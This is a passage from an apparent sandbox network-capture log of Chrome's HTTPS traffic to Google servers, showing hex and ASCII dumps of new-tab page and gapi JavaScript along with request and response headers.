role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 53 65 61 72 63 68 20 4c 61 62 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 6c 61 62 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 67 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 Data Ascii: aria-label\u003d\"Search Labs\" href\u003d\"https://labs.google.com/search?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_g\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 Data Ascii: 9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 31 33 30 30 31 30 32 2c 33 37 30 30 33 32 37 2c 33 37 30 31 33 31 30 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 Data Ascii: u-content","metadata":{"bar_height":60,"experiment_id":[1300102,3700327,3701310],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u00
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 2e 69 5b 62 5d 3b 74 68 72 6f 77 20 6e 65 77 20 72 64 3b 7d 3b 5f 2e 74 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 73 64 28 5f 2e 57 63 2e 69 28 29 2c 61 29 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 7a 64 2c 49 64 2c 4b 64 3b 5f 2e 75 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6e 75 6c 6c 5c 75 30 30 33 64 5c 75 30 30 33 64 61 29 72 65 74 Data Ascii: \u003dfunction(a,b){if(b in a.i)return a.i[b];throw new rd;};_.td\u003dfunction(a){return _.sd(_.Wc.i(),a)};\n}catch(e){_._DumpException(e)}\ntry{\n/\n\n SPDX-License-Identifier: Apache-2.0\n/\nvar zd,Id,Kd;_.ud\u003dfunction(a){if(null\u003d\u003da)ret
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 5f 2e 76 62 29 5c 75 30 30 32 36 5c 75 30 30 32 36 61 5b 5f 2e 76 62 5d 7c 7c 28 61 5b 5f 2e 76 62 5d 5c 75 30 30 33 64 2b 2b 49 64 29 7d 3b 4b 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 6e 75 6c 6c 2c 63 5c 75 30 30 33 64 5f 2e 71 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 69 66 28 21 63 7c 7c 21 63 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 62 3b 74 72 79 7b 62 5c 75 30 30 33 64 63 2e 63 72 65 61 74 65 50 6f 6c 69 Data Ascii: 03dfunction(a){return Object.prototype.hasOwnProperty.call(a,_.vb)\u0026\u0026a[_.vb]\|\|(a[_.vb]\u003d++Id)};Kd\u003dfunction(a){return a};_.Ld\u003dfunction(a){var b\u003dnull,c\u003d_.q.trustedTypes;if(!c\|\|!c.createPolicy)return b;try{b\u003dc.createPoli
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 28 29 7d 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 57 64 28 5c 22 5c 22 2c 5f 2e 56 64 29 3b 5f 2e 59 64 5c 75 30 30 33 64 52 65 67 45 78 70 28 5c 22 5e 5b 2d 2b 2c 2e 5c 5c 5c 22 5c 75 30 30 32 37 25 5f 21 23 2f 20 61 2d 7a 41 2d 5a 30 2d 39 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 5d 2b 24 5c 22 29 3b 5f 2e 5a 64 5c 75 30 30 33 64 52 65 67 45 78 70 28 5c 22 5c 5c 5c 5c 62 28 75 72 6c 5c 5c 5c 5c 28 5b 20 5c 5c 74 5c 5c 6e 5d 2a 29 28 5c 75 30 30 32 37 5b 20 2d 5c 75 30 30 32 36 28 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 5c 75 30 30 32 37 7c 5c 5c 5c 22 5b 20 21 23 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 5c 5c 5c 22 7c 5b 21 23 2d 5c 75 30 30 32 36 2a 2d 5c 5c 5c 5c 5b 5c 5c 5c 5c 5d 2d 7e 5d 2a 29 28 5b 20 5c 5c 74 5c 5c 6e 5d 2a 5c 5c 5c 5c Data Ascii: ()}};_.Xd\u003dnew _.Wd(\"\",_.Vd);_.Yd\u003dRegExp(\"^[-+,.\\\"\u0027%_!#/ a-zA-Z0-9\\\\[\\\\]]+$\");_.Zd\u003dRegExp(\"\\\\b(url\\\\([ \\t\\n])(\u0027[ -\u0026(-\\\\[\\\\]-~]\u0027\|\\\"[ !#-\\\\[\\\\]-~]\\\"\|[!#-\u0026-\\\\[\\\\]-~])([ \\t\\n]\\\\
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 33 64 61 2e 6e 6f 6e 63 65 7c 7c 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 29 5c 75 30 30 32 36 5c 75 30 30 32 36 68 65 2e 74 65 73 74 28 61 29 3f 61 3a 5c 22 5c 22 3a 5c 22 5c 22 7d 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 77 69 64 74 68 5c 75 30 30 33 64 61 3b 74 68 69 73 2e 68 65 69 67 68 74 5c 75 30 30 33 64 62 7d 3b 5f 2e 6d 5c 75 30 30 33 64 5f 2e 6a 65 2e 70 72 6f 74 6f 74 79 70 65 3b 5f 2e 6d 2e 61 73 70 65 63 74 52 61 74 69 6f 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 77 69 64 74 68 2f 74 68 69 73 2e 68 65 69 67 68 74 7d 3b 5f 2e 6d 2e 45 62 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 28 74 68 Data Ascii: 3da.nonce\|\|a.getAttribute(\"nonce\"))\u0026\u0026he.test(a)?a:\"\":\"\"};_.je\u003dfunction(a,b){this.width\u003da;this.height\u003db};_.m\u003d_.je.prototype;_.m.aspectRatio\u003dfunction(){return this.width/this.height};_.m.Eb\u003dfunction(){return!(th
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 39 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2e Data Ascii: b){b\u003dString(b);\"application/xhtml+xml\"\u003d\u003d\u003da.contentType\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.ne\u003dfunction(a){for(var b;b\u003da.firstChild;)a.removeChild(b)};_.oe\u003dfunction(a){return 9\u003d\u003da.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49732	172.253.122.105	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:09 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:09 UTC	1434	IN	HTTP/1.1 200 OK Version: 627109246 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Sat, 27 Apr 2024 22:41:09 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:41:09 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-04-27 22:41:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	172.253.122.100	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:13 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:13 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 121628 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 13:03:57 GMT Expires: Sat, 26 Apr 2025 13:03:57 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 15 Apr 2024 17:34:54 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 121036 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:41:13 UTC	339	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 62 61 2c 63 61 2c 64 61 2c 6e 61 2c 70 61 2c 76 61 2c 77 61 2c 7a 61 3b 62 61 3d 66 75 6e 63 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);var ba,ca,da,na,pa,va,wa,za;ba=func
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 7d 7d 3b 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c Data Ascii: }};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 63 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 61 28 62 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 5f 2e 75 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 Data Ascii: on"===typeof d&&"function"!=typeof d.prototype[a]&&ca(d.prototype,a,{configurable:!0,writable:!0,value:function(){return pa(ba(this))}})}return a});pa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a};_.ua=function(a){var b="und
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 2e 50 66 29 7b 74 68 69 73 2e 50 66 3d 5b 5d 3b 76 61 72 20 6b 3d 74 68 69 73 3b 74 68 69 73 2e 74 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6b 2e 45 37 28 29 7d 29 7d 74 68 69 73 2e 50 66 2e 70 75 73 68 28 68 29 7d 3b 76 61 72 20 64 3d 5f 2e 6d 61 2e 73 65 74 54 69 6d 65 6f 75 74 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 50 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 64 28 68 2c 30 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 45 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 74 68 69 73 2e 50 66 26 26 74 68 69 73 2e 50 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 50 66 3b 74 68 69 73 2e 50 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d Data Ascii: .Pf){this.Pf=[];var k=this;this.tP(function(){k.E7()})}this.Pf.push(h)};var d=_.ma.setTimeout;b.prototype.tP=function(h){d(h,0)};b.prototype.E7=function(){for(;this.Pf&&this.Pf.length;){var h=this.Pf;this.Pf=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 74 6f 74 79 70 65 2e 6e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 74 68 69 73 3b 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 68 2e 67 63 61 28 29 29 7b 76 61 72 20 6b 3d 5f 2e 6d 61 2e 63 6f 6e 73 6f 6c 65 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 6b 26 26 6b 2e 65 72 72 6f 72 28 68 2e 46 66 29 7d 7d 2c 0a 31 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 67 63 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 73 56 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 68 3d 5f 2e 6d 61 2e 43 75 73 74 6f 6d 45 76 65 6e 74 2c 6b 3d 5f 2e 6d 61 2e 45 76 65 6e 74 2c 6c 3d 5f 2e 6d 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 6c 29 72 65 74 Data Ascii: totype.nea=function(){var h=this;d(function(){if(h.gca()){var k=_.ma.console;"undefined"!==typeof k&&k.error(h.Ff)}},1)};e.prototype.gca=function(){if(this.sV)return!1;var h=_.ma.CustomEvent,k=_.ma.Event,l=_.ma.dispatchEvent;if("undefined"===typeof l)ret
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 3b 74 68 69 73 2e 73 56 3d 21 30 7d 3b 65 2e 72 65 73 6f 6c 76 65 3d 63 3b 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6c 28 68 29 7d 29 7d 3b 65 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 66 6f 72 28 76 61 72 20 6d 3d 5f 2e 75 61 28 68 29 2c 6e 3d 6d 2e 6e 65 78 74 28 29 3b 21 6e 2e 64 6f 6e 65 3b 6e 3d 6d 2e 6e 65 78 74 28 29 29 63 28 6e 2e 76 61 6c 75 65 29 2e 42 79 28 6b 2c 6c 29 7d 29 7d 3b 65 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 5f 2e 75 61 28 68 29 2c 6c 3d 6b 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6c 2e 64 6f 6e 65 3f 63 Data Ascii: ;this.sV=!0};e.resolve=c;e.reject=function(h){return new e(function(k,l){l(h)})};e.race=function(h){return new e(function(k,l){for(var m=_.ua(h),n=m.next();!n.done;n=m.next())c(n.value).By(k,l)})};e.all=function(h){var k=_.ua(h),l=k.next();return l.done?c
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6c 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6d 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6e 3d 6e 65 77 20 61 28 5b 5b 6c 2c 32 5d 2c 5b 6d 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6e 2e 67 65 74 28 6c 29 7c 7c 33 21 3d 6e 2e 67 65 74 28 6d 29 29 72 65 74 75 72 6e 21 31 3b 6e 2e 64 65 6c 65 74 65 28 6c 29 3b 6e 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 6e 2e 68 61 73 28 6c 29 26 26 34 3d 3d 6e 2e 67 65 74 28 6d 29 7d 63 61 74 63 68 28 70 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b Data Ascii: ct.seal)return!1;try{var l=Object.seal({}),m=Object.seal({}),n=new a([[l,2],[m,3]]);if(2!=n.get(l)\|\|3!=n.get(m))return!1;n.delete(l);n.set(m,4);return!n.has(l)&&4==n.get(m)}catch(p){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");
